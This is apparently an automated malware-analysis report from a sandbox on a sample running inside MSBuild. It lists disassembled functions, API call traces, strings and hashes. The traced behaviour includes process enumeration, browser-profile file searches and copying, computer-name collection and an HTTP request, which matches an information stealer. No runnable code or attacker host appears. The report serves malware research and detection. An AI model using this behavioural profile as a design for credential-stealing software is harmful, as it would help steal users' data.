Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction ID: 431312e06e4e118a9a68feb07ac8eaa96768a2afdec7ba1937323e72019175af
Opcode Fuzzy Hash: d3b44e1c7357894c17caad5586f291365151dfe96f06c146e49f3581e0b5dc00
Instruction Fuzzy Hash: 19516575D11108AACB04FBB1DC52DED7338AF54314F40852EF81667191EE386B9ACBAA

Function 00418680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205B7), ref: 004186CA
Process32First.KERNEL32(?,00000128), ref: 004186DE
Process32Next.KERNEL32(?,00000128), ref: 004186F3

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

CloseHandle.KERNEL32(?), ref: 00418761

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction ID: 8f5abf7c5654a811b9b3f094c7d3948ba22bca0c3321aba4e2188e2e86b1b5ea
Opcode Fuzzy Hash: a565577679dd8a0504a1d15f914896fe3659e154cb8e13ffca774fc0674d62c6
Instruction Fuzzy Hash: F7315E71902218ABCB24EF95DC45FEEB778EF45714F10419EF10AA21A0DF386A85CFA5

Function 00414F40 Relevance: 6.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414F7A
lstrcatA.KERNEL32(?,00421070), ref: 00414F97
lstrcatA.KERNEL32(?,01394E60), ref: 00414FAB
lstrcatA.KERNEL32(?,00421074), ref: 00414FBD

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction ID: b2f553c39a7574946245b6cc91baeb706efbd34a5fe7bafabb54328a91102e52
Opcode Fuzzy Hash: fee2ad206d2dfc0e98077b290248d81ad00eb14900011837df4a2dd7ccce19b5
Instruction Fuzzy Hash: FA213DBAA402047BC714FBF0EC46FED333DAB55300F40455DB649920C1EE7896C88B96

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01380578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,01380578,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DAE, 00406E94, 00406DD2, 00406E5E, 00406EAF

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,01395740), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,01394EB0,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96
Part of subcall function 00414910: CopyFileA.KERNEL32(?,?,00000001), ref: 00414AAC
Part of subcall function 00414910: DeleteFileA.KERNEL32(?), ref: 00414B31

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: UaA
API String ID: 2104210347-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01394EC0), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,01396498,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,01396348), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2757749339.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2757749339.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_MSBuild.jbxd

Yara matches
